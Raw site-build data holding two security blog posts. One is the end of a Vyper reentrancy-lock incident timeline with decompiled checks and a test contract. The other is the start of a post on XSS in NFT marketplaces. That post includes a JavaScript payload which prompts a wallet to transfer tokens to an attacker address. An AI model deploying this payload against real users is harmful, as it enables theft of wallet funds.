Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[41741],{"type":23,"tag":71,"props":41742,"children":41743},{"__ignoreMap":7},[41744,41752,41760,41768,41776,41783,41791,41799,41807],{"type":23,"tag":75,"props":41745,"children":41746},{"class":77,"line":78},[41747],{"type":23,"tag":75,"props":41748,"children":41749},{},[41750],{"type":29,"value":41751},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":75,"props":41753,"children":41754},{"class":77,"line":100},[41755],{"type":23,"tag":75,"props":41756,"children":41757},{},[41758],{"type":29,"value":41759},"label_0057:\n",{"type":23,"tag":75,"props":41761,"children":41762},{"class":77,"line":121},[41763],{"type":23,"tag":75,"props":41764,"children":41765},{},[41766],{"type":29,"value":41767},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":75,"props":41769,"children":41770},{"class":77,"line":138},[41771],{"type":23,"tag":75,"props":41772,"children":41773},{},[41774],{"type":29,"value":41775},"    storage[0x00] = 0x01;\n",{"type":23,"tag":75,"props":41777,"children":41778},{"class":77,"line":161},[41779],{"type":23,"tag":75,"props":41780,"children":41781},{"emptyLinePlaceholder":15},[41782],{"type":29,"value":276},{"type":23,"tag":75,"props":41784,"children":41785},{"class":77,"line":196},[41786],{"type":23,"tag":75,"props":41787,"children":41788},{},[41789],{"type":29,"value":41790},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":75,"props":41792,"children":41793},{"class":77,"line":220},[41794],{"type":23,"tag":75,"props":41795,"children":41796},{},[41797],{"type":29,"value":41798},"label_1AF3:\n",{"type":23,"tag":75,"props":41800,"children":41801},{"class":77,"line":248},[41802],{"type":23,"tag":75,"props":41803,"children":41804},{},[41805],{"type":29,"value":41806},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":75,"props":41808,"children":41809},{"class":77,"line":270},[41810],{"type":23,"tag":75,"props":41811,"children":41812},{},[41813],{"type":29,"value":41814},"    storage[0x02] = 0x01;\n",{"type":23,"tag":32,"props":41816,"children":41817},{},[41818,41823],{"type":23,"tag":16596,"props":41819,"children":41820},{},[41821],{"type":29,"value":41822},"14:27 UTC",{"type":29,"value":41824}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":64,"props":41826,"children":41828},{"className":30684,"code":41827,"language":30683,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[41829],{"type":23,"tag":71,"props":41830,"children":41831},{"__ignoreMap":7},[41832,41840,41861,41896,41908,41915,41922,41941,41973],{"type":23,"tag":75,"props":41833,"children":41834},{"class":77,"line":78},[41835],{"type":23,"tag":75,"props":41836,"children":41837},{"style":88},[41838],{"type":29,"value":41839},"@external\n",{"type":23,"tag":75,"props":41841,"children":41842},{"class":77,"line":100},[41843,41848,41852,41857],{"type":23,"tag":75,"props":41844,"children":41845},{"style":88},[41846],{"type":29,"value":41847},"@nonreentrant",{"type":23,"tag":75,"props":41849,"children":41850},{"style":94},[41851],{"type":29,"value":643},{"type":23,"tag":75,"props":41853,"children":41854},{"style":1266},[41855],{"type":29,"value":41856},"\"lock\"",{"type":23,"tag":75,"props":41858,"children":41859},{"style":94},[41860],{"type":29,"value":653},{"type":23,"tag":75,"props":41862,"children":41863},{"class":77,"line":121},[41864,41869,41874,41878,41883,41888,41892],{"type":23,"tag":75,"props":41865,"children":41866},{"style":82},[41867],{"type":29,"value":41868},"def",{"type":23,"tag":75,"props":41870,"children":41871},{"style":88},[41872],{"type":29,"value":41873}," test",{"type":23,"tag":75,"props":41875,"children":41876},{"style":94},[41877],{"type":29,"value":643},{"type":23,"tag":75,"props":41879,"children":41880},{"style":110},[41881],{"type":29,"value":41882},"addr",{"type":23,"tag":75,"props":41884,"children":41885},{"style":94},[41886],{"type":29,"value":41887},": address) -> ",{"type":23,"tag":75,"props":41889,"children":41890},{"style":104},[41891],{"type":29,"value":40881},{"type":23,"tag":75,"props":41893,"children":41894},{"style":94},[41895],{"type":29,"value":4732},{"type":23,"tag":75,"props":41897,"children":41898},{"class":77,"line":138},[41899,41903],{"type":23,"tag":75,"props":41900,"children":41901},{"style":175},[41902],{"type":29,"value":355},{"type":23,"tag":75,"props":41904,"children":41905},{"style":82},[41906],{"type":29,"value":41907}," True\n",{"type":23,"tag":75,"props":41909,"children":41910},{"class":77,"line":161},[41911],{"type":23,"tag":75,"props":41912,"children":41913},{"emptyLinePlaceholder":15},[41914],{"type":29,"value":276},{"type":23,"tag":75,"props":41916,"children":41917},{"class":77,"line":196},[41918],{"type":23,"tag":75,"props":41919,"children":41920},{"style":88},[41921],{"type":29,"value":41839},{"type":23,"tag":75,"props":41923,"children":41924},{"class":77,"line":220},[41925,41929,41933,41937],{"type":23,"tag":75,"props":41926,"children":41927},{"style":88},[41928],{"type":29,"value":41847},{"type":23,"tag":75,"props":41930,"children":41931},{"style":94},[41932],{"type":29,"value":643},{"type":23,"tag":75,"props":41934,"children":41935},{"style":1266},[41936],{"type":29,"value":41856},{"type":23,"tag":75,"props":41938,"children":41939},{"style":94},[41940],{"type":29,"value":653},{"type":23,"tag":75,"props":41942,"children":41943},{"class":77,"line":248},[41944,41948,41953,41957,41961,41965,41969],{"type":23,"tag":75,"props":41945,"children":41946},{"style":82},[41947],{"type":29,"value":41868},{"type":23,"tag":75,"props":41949,"children":41950},{"style":88},[41951],{"type":29,"value":41952}," test2",{"type":23,"tag":75,"props":41954,"children":41955},{"style":94},[41956],{"type":29,"value":643},{"type":23,"tag":75,"props":41958,"children":41959},{"style":110},[41960],{"type":29,"value":41882},{"type":23,"tag":75,"props":41962,"children":41963},{"style":94},[41964],{"type":29,"value":41887},{"type":23,"tag":75,"props":41966,"children":41967},{"style":104},[41968],{"type":29,"value":40881},{"type":23,"tag":75,"props":41970,"children":41971},{"style":94},[41972],{"type":29,"value":4732},{"type":23,"tag":75,"props":41974,"children":41975},{"class":77,"line":270},[41976,41980],{"type":23,"tag":75,"props":41977,"children":41978},{"style":175},[41979],{"type":29,"value":355},{"type":23,"tag":75,"props":41981,"children":41982},{"style":82},[41983],{"type":29,"value":41984}," False\n",{"type":23,"tag":32,"props":41986,"children":41987},{},[41988],{"type":29,"value":41989},"This was not just another reentrancy bug.",{"type":23,"tag":32,"props":41991,"children":41992},{},[41993],{"type":29,"value":41994},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":32,"props":41996,"children":41997},{},[41998,42003],{"type":23,"tag":16596,"props":41999,"children":42000},{},[42001],{"type":29,"value":42002},"14:37 UTC",{"type":29,"value":42004}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":32,"props":42006,"children":42007},{},[42008],{"type":23,"tag":15189,"props":42009,"children":42011},{"alt":7,"src":42010},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":32,"props":42013,"children":42014},{},[42015],{"type":29,"value":42016},"It was a race with the hackers.",{"type":23,"tag":32,"props":42018,"children":42019},{},[42020],{"type":29,"value":42021},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":1829,"props":42023,"children":42024},{},[42025],{"type":23,"tag":32,"props":42026,"children":42027},{},[42028,42030],{"type":29,"value":42029},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":940,"props":42031,"children":42034},{"href":42032,"rel":42033},"https://twitter.com/hexagate_/status/1685677801813217280",[944],[42035],{"type":29,"value":42032},{"type":23,"tag":32,"props":42037,"children":42038},{},[42039],{"type":29,"value":42040},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":32,"props":42042,"children":42043},{},[42044,42049,42050,42057],{"type":23,"tag":16596,"props":42045,"children":42046},{},[42047],{"type":29,"value":42048},"14:50 UTC",{"type":29,"value":949},{"type":23,"tag":940,"props":42051,"children":42054},{"href":42052,"rel":42053},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[944],[42055],{"type":29,"value":42056},"msETH/ETH was drained",{"type":29,"value":557},{"type":23,"tag":32,"props":42059,"children":42060},{},[42061,42066,42067,42074],{"type":23,"tag":16596,"props":42062,"children":42063},{},[42064],{"type":29,"value":42065},"15:34 UTC",{"type":29,"value":949},{"type":23,"tag":940,"props":42068,"children":42071},{"href":42069,"rel":42070},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[944],[42072],{"type":29,"value":42073},"alETH/ETH was drained",{"type":29,"value":557},{"type":23,"tag":32,"props":42076,"children":42077},{},[42078,42083,42085,42092],{"type":23,"tag":16596,"props":42079,"children":42080},{},[42081],{"type":29,"value":42082},"15:43 UTC",{"type":29,"value":42084}," We identified that ",{"type":23,"tag":940,"props":42086,"children":42089},{"href":42087,"rel":42088},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[944],[42090],{"type":29,"value":42091},"CRV/ETH was vulnerable",{"type":29,"value":42093},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":32,"props":42095,"children":42096},{},[42097,42102],{"type":23,"tag":16596,"props":42098,"children":42099},{},[42100],{"type":29,"value":42101},"16:11 UTC",{"type":29,"value":42103}," We began working on a whitehat exploit.",{"type":23,"tag":32,"props":42105,"children":42106},{},[42107,42109,42116],{"type":29,"value":42108},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":940,"props":42110,"children":42113},{"href":42111,"rel":42112},"https://twitter.com/vyperlang/status/1685692973051498497",[944],[42114],{"type":29,"value":42115},"public statement on affected versions",{"type":29,"value":557},{"type":23,"tag":32,"props":42118,"children":42119},{},[42120],{"type":29,"value":42121},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":32,"props":42123,"children":42124},{},[42125,42127,42134],{"type":29,"value":42126},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":940,"props":42128,"children":42131},{"href":42129,"rel":42130},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[944],[42132],{"type":29,"value":42133},"somebody else stole the funds",{"type":29,"value":557},{"type":23,"tag":32,"props":42136,"children":42137},{},[42138],{"type":29,"value":42139},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":32,"props":42141,"children":42142},{},[42143],{"type":29,"value":42144},"Nevertheless, there was more ground to cover.",{"type":23,"tag":32,"props":42146,"children":42147},{},[42148,42153],{"type":23,"tag":16596,"props":42149,"children":42150},{},[42151],{"type":29,"value":42152},"21:26 UTC",{"type":29,"value":42154}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":1829,"props":42156,"children":42157},{},[42158],{"type":23,"tag":32,"props":42159,"children":42160},{},[42161,42163,42167,42169,42172,42174,42177,42179],{"type":29,"value":42162},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":42164,"props":42165,"children":42166},"br",{},[],{"type":29,"value":42168},"\nyou can then update admin fee ",{"type":23,"tag":42164,"props":42170,"children":42171},{},[],{"type":29,"value":42173},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":42164,"props":42175,"children":42176},{},[],{"type":29,"value":42178},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":42164,"props":42180,"children":42181},{},[],{"type":23,"tag":32,"props":42183,"children":42184},{},[42185,42190],{"type":23,"tag":16596,"props":42186,"children":42187},{},[42188],{"type":29,"value":42189},"21:52 UTC",{"type":29,"value":42191}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":32,"props":42193,"children":42194},{},[42195,42197,42204,42206,42213,42221],{"type":29,"value":42196},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":940,"props":42198,"children":42201},{"href":42199,"rel":42200},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[944],[42202],{"type":29,"value":42203},"CRV admin fee bot",{"type":29,"value":42205}," had claimed fees and ",{"type":23,"tag":940,"props":42207,"children":42210},{"href":42208,"rel":42209},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[944],[42211],{"type":29,"value":42212},"the pool was drained",{"type":23,"tag":26701,"props":42214,"children":42215},{},[42216],{"type":23,"tag":940,"props":42217,"children":42219},{"href":40820,"ariaDescribedBy":42218,"dataFootnoteRef":7,"id":40822},[26708],[42220],{"type":29,"value":7867},{"type":29,"value":557},{"type":23,"tag":24,"props":42223,"children":42225},{"id":42224},"blame",[42226],{"type":29,"value":42227},"Blame",{"type":23,"tag":32,"props":42229,"children":42230},{},[42231,42235],{"type":23,"tag":9690,"props":42232,"children":42233},{},[42234],{"type":29,"value":42227},{"type":29,"value":42236}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":923,"props":42238,"children":42240},{"id":42239},"races",[42241],{"type":29,"value":42242},"Races",{"type":23,"tag":32,"props":42244,"children":42245},{},[42246],{"type":29,"value":42247},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":32,"props":42249,"children":42250},{},[42251],{"type":29,"value":42252},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":32,"props":42254,"children":42255},{},[42256],{"type":29,"value":42257},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":923,"props":42259,"children":42261},{"id":42260},"information-leakage",[42262],{"type":29,"value":42263},"Information Leakage",{"type":23,"tag":32,"props":42265,"children":42266},{},[42267],{"type":29,"value":42268},"I was both an auditor and a whitehat.",{"type":23,"tag":32,"props":42270,"children":42271},{},[42272,42274,42281],{"type":29,"value":42273},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":940,"props":42275,"children":42278},{"href":42276,"rel":42277},"https://twitter.com/osec_io/status/1579969927020412929",[944],[42279],{"type":29,"value":42280},"by publishing the \"scoop\"",{"type":29,"value":42282}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":32,"props":42284,"children":42285},{},[42286],{"type":29,"value":42287},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":32,"props":42289,"children":42290},{},[42291],{"type":29,"value":42292},"Half an hour more could have saved $18M.",{"type":23,"tag":32,"props":42294,"children":42295},{},[42296],{"type":29,"value":42297},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":24,"props":42299,"children":42301},{"id":42300},"next-steps",[42302],{"type":29,"value":42303},"Next Steps",{"type":23,"tag":32,"props":42305,"children":42306},{},[42307],{"type":29,"value":42308},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":32,"props":42310,"children":42311},{},[42312,42314,42321],{"type":29,"value":42313},"It's important to note that this bug ",{"type":23,"tag":940,"props":42315,"children":42318},{"href":42316,"rel":42317},"https://twitter.com/real_philogy/status/1685948253139857409",[944],[42319],{"type":29,"value":42320},"was patched since November 2021",{"type":29,"value":557},{"type":23,"tag":1829,"props":42323,"children":42324},{},[42325],{"type":23,"tag":32,"props":42326,"children":42327},{},[42328,42330,42335,42336,42339,42341,42346],{"type":29,"value":42329},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":9690,"props":42331,"children":42332},{},[42333],{"type":29,"value":42334},"processes",{"type":29,"value":29754},{"type":23,"tag":42164,"props":42337,"children":42338},{},[],{"type":29,"value":42340},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":9690,"props":42342,"children":42343},{},[42344],{"type":29,"value":42345},"was",{"type":29,"value":42347}," fixed.",{"type":23,"tag":32,"props":42349,"children":42350},{},[42351],{"type":29,"value":42352},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":29644,"props":42354,"children":42356},{"className":42355,"dataFootnotes":7},[29647],[42357,42362],{"type":23,"tag":24,"props":42358,"children":42360},{"className":42359,"id":26708},[29652],[42361],{"type":29,"value":29655},{"type":23,"tag":2797,"props":42363,"children":42364},{},[42365],{"type":23,"tag":2801,"props":42366,"children":42367},{"id":41561},[42368,42370],{"type":29,"value":42369},"Thankfully, these funds were later returned. ",{"type":23,"tag":940,"props":42371,"children":42373},{"href":41589,"ariaLabel":29758,"className":42372,"dataFootnoteBackref":7},[29760],[42374],{"type":29,"value":29763},{"type":23,"tag":14130,"props":42376,"children":42377},{},[42378],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":42380},[42381,42382,42386,42387],{"id":41656,"depth":100,"text":41659},{"id":42224,"depth":100,"text":42227,"children":42383},[42384,42385],{"id":42239,"depth":121,"text":42242},{"id":42260,"depth":121,"text":42263},{"id":42300,"depth":100,"text":42303},{"id":26708,"depth":100,"text":29655},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":42392,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42393,"description":42394,"author":42395,"image":42398,"date":42400,"isFeatured":15,"tags":42401,"onBlogPage":15,"body":42404,"_type":14157,"_id":46613,"_source":14159,"_file":46614,"_stem":46615,"_extension":14162},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[42396,42397],"caue","bruno",{"src":42399,"height":14,"width":14},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[42402,42403],"nft-marketplaces","xss",{"type":20,"children":42405,"toc":46596},[42406,42410,42415,42419,42424,42429,42434,42450,42456,42469,42491,42498,42503,42510,42515,42521,42526,42531,42536,42541,42552,42557,43523,43533,43545,43552,43557,44378,44383,44388,44393,44398,45182,45187,45269,45274,45343,45349,45354,45359,45586,45599,45604,45609,45614,45621,45626,45633,45639,45644,45649,45654,45973,45978,45984,46000,46006,46011,46016,46026,46031,46036,46045,46050,46056,46072,46085,46090,46095,46115,46122,46127,46134,46143,46148,46169,46222,46227,46278,46292,46297,46311,46426,46449,46533,46556,46561,46566,46571,46576,46581,46587,46592],{"type":23,"tag":24,"props":42407,"children":42408},{"id":26},[42409],{"type":29,"value":30},{"type":23,"tag":32,"props":42411,"children":42412},{},[42413],{"type":29,"value":42414},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":923,"props":42416,"children":42417},{"id":14212},[42418],{"type":29,"value":14215},{"type":23,"tag":32,"props":42420,"children":42421},{},[42422],{"type":29,"value":42423},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":32,"props":42425,"children":42426},{},[42427],{"type":29,"value":42428},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":24,"props":42430,"children":42431},{"id":42403},[42432],{"type":29,"value":42433},"XSS",{"type":23,"tag":32,"props":42435,"children":42436},{},[42437],{"type":23,"tag":9690,"props":42438,"children":42439},{},[42440,42442,42449],{"type":29,"value":42441},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":940,"props":42443,"children":42446},{"href":42444,"rel":42445},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[944],[42447],{"type":29,"value":42448},"even explain it to myself",{"type":29,"value":557},{"type":23,"tag":923,"props":42451,"children":42453},{"id":42452},"managing-metadata",[42454],{"type":29,"value":42455},"Managing Metadata",{"type":23,"tag":32,"props":42457,"children":42458},{},[42459,42461,42468],{"type":29,"value":42460},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":940,"props":42462,"children":42465},{"href":42463,"rel":42464},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[944],[42466],{"type":29,"value":42467},"payloads",{"type":29,"value":557},{"type":23,"tag":32,"props":42470,"children":42471},{},[42472,42474,42481,42483,42489],{"type":29,"value":42473},"We showcase this vulnerability in the ",{"type":23,"tag":940,"props":42475,"children":42478},{"href":42476,"rel":42477},"https://rocki.com/",[944],[42479],{"type":29,"value":42480},"Rocki Marketplace",{"type":29,"value":42482},". The ",{"type":23,"tag":71,"props":42484,"children":42486},{"className":42485},[],[42487],{"type":29,"value":42488},"artistDescription",{"type":29,"value":42490}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":32,"props":42492,"children":42493},{},[42494],{"type":23,"tag":15189,"props":42495,"children":42497},{"alt":7,"src":42496},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":32,"props":42499,"children":42500},{},[42501],{"type":29,"value":42502},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":32,"props":42504,"children":42505},{},[42506],{"type":23,"tag":15189,"props":42507,"children":42509},{"alt":7,"src":42508},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":32,"props":42511,"children":42512},{},[42513],{"type":29,"value":42514},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":923,"props":42516,"children":42518},{"id":42517},"wheres-my-wallet",[42519],{"type":29,"value":42520},"Where's My Wallet",{"type":23,"tag":32,"props":42522,"children":42523},{},[42524],{"type":29,"value":42525},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":32,"props":42527,"children":42528},{},[42529],{"type":29,"value":42530},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":32,"props":42532,"children":42533},{},[42534],{"type":29,"value":42535},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":32,"props":42537,"children":42538},{},[42539],{"type":29,"value":42540},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":42542,"props":42543,"children":42545},"div",{"style":42544},"display:flex; align-items:center; flex-direction:column;",[42546],{"type":23,"tag":15189,"props":42547,"children":42551},{"src":42548,"alt":42549,"style":42550},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":32,"props":42553,"children":42554},{},[42555],{"type":29,"value":42556},"And here we can find the code used to achieve it :",{"type":23,"tag":64,"props":42558,"children":42562},{"className":42559,"code":42560,"language":42561,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[42563],{"type":23,"tag":71,"props":42564,"children":42565},{"__ignoreMap":7},[42566,42582,42627,42656,42672,42735,42770,42795,42820,42827,42847,42855,42871,42883,42891,42908,42925,42933,42940,42956,42972,42979,42987,43004,43016,43023,43039,43055,43062,43069,43086,43093,43101,43108,43155,43162,43226,43233,43253,43269,43285,43306,43377,43393,43400,43407,43445,43453,43460,43467,43474,43494],{"type":23,"tag":75,"props":42567,"children":42568},{"class":77,"line":78},[42569,42573,42578],{"type":23,"tag":75,"props":42570,"children":42571},{"style":82},[42572],{"type":29,"value":85},{"type":23,"tag":75,"props":42574,"children":42575},{"style":88},[42576],{"type":29,"value":42577}," request",{"type":23,"tag":75,"props":42579,"children":42580},{"style":94},[42581],{"type":29,"value":12966},{"type":23,"tag":75,"props":42583,"children":42584},{"class":77,"line":100},[42585,42590,42594,42599,42604,42608,42613,42618,42623],{"type":23,"tag":75,"props":42586,"children":42587},{"style":175},[42588],{"type":29,"value":42589},"  if",{"type":23,"tag":75,"props":42591,"children":42592},{"style":94},[42593],{"type":29,"value":183},{"type":23,"tag":75,"props":42595,"children":42596},{"style":82},[42597],{"type":29,"value":42598},"typeof",{"type":23,"tag":75,"props":42600,"children":42601},{"style":110},[42602],{"type":29,"value":42603}," window",{"type":23,"tag":75,"props":42605,"children":42606},{"style":94},[42607],{"type":29,"value":557},{"type":23,"tag":75,"props":42609,"children":42610},{"style":110},[42611],{"type":29,"value":42612},"ethereum",{"type":23,"tag":75,"props":42614,"children":42615},{"style":209},[42616],{"type":29,"value":42617}," ===",{"type":23,"tag":75,"props":42619,"children":42620},{"style":1266},[42621],{"type":29,"value":42622}," 'undefined'",{"type":23,"tag":75,"props":42624,"children":42625},{"style":94},[42626],{"type":29,"value":193},{"type":23,"tag":75,"props":42628,"children":42629},{"class":77,"line":121},[42630,42635,42639,42643,42647,42652],{"type":23,"tag":75,"props":42631,"children":42632},{"style":110},[42633],{"type":29,"value":42634},"    console",{"type":23,"tag":75,"props":42636,"children":42637},{"style":94},[42638],{"type":29,"value":557},{"type":23,"tag":75,"props":42640,"children":42641},{"style":88},[42642],{"type":29,"value":616},{"type":23,"tag":75,"props":42644,"children":42645},{"style":94},[42646],{"type":29,"value":643},{"type":23,"tag":75,"props":42648,"children":42649},{"style":1266},[42650],{"type":29,"value":42651},"'Please install MetaMask to use this feature.'",{"type":23,"tag":75,"props":42653,"children":42654},{"style":94},[42655],{"type":29,"value":15099},{"type":23,"tag":75,"props":42657,"children":42658},{"class":77,"line":138},[42659,42664,42668],{"type":23,"tag":75,"props":42660,"children":42661},{"style":94},[42662],{"type":29,"value":42663},"  } ",{"type":23,"tag":75,"props":42665,"children":42666},{"style":175},[42667],{"type":29,"value":6878},{"type":23,"tag":75,"props":42669,"children":42670},{"style":94},[42671],{"type":29,"value":401},{"type":23,"tag":75,"props":42673,"children":42674},{"class":77,"line":161},[42675,42680,42684,42689,42694,42699,42704,42709,42714,42719,42723,42727,42731],{"type":23,"tag":75,"props":42676,"children":42677},{"style":110},[42678],{"type":29,"value":42679},"    ethereum",{"type":23,"tag":75,"props":42681,"children":42682},{"style":94},[42683],{"type":29,"value":557},{"type":23,"tag":75,"props":42685,"children":42686},{"style":88},[42687],{"type":29,"value":42688},"request",{"type":23,"tag":75,"props":42690,"children":42691},{"style":94},[42692],{"type":29,"value":42693},"({ ",{"type":23,"tag":75,"props":42695,"children":42696},{"style":110},[42697],{"type":29,"value":42698},"method:",{"type":23,"tag":75,"props":42700,"children":42701},{"style":1266},[42702],{"type":29,"value":42703}," 'eth_requestAccounts'",{"type":23,"tag":75,"props":42705,"children":42706},{"style":94},[42707],{"type":29,"value":42708}," }).",{"type":23,"tag":75,"props":42710,"children":42711},{"style":88},[42712],{"type":29,"value":42713},"then",{"type":23,"tag":75,"props":42715,"children":42716},{"style":94},[42717],{"type":29,"value":42718},"((",{"type":23,"tag":75,"props":42720,"children":42721},{"style":110},[42722],{"type":29,"value":25911},{"type":23,"tag":75,"props":42724,"children":42725},{"style":94},[42726],{"type":29,"value":167},{"type":23,"tag":75,"props":42728,"children":42729},{"style":82},[42730],{"type":29,"value":26057},{"type":23,"tag":75,"props":42732,"children":42733},{"style":94},[42734],{"type":29,"value":401},{"type":23,"tag":75,"props":42736,"children":42737},{"class":77,"line":196},[42738,42743,42748,42752,42757,42761,42765],{"type":23,"tag":75,"props":42739,"children":42740},{"style":82},[42741],{"type":29,"value":42742},"      const",{"type":23,"tag":75,"props":42744,"children":42745},{"style":110},[42746],{"type":29,"value":42747}," 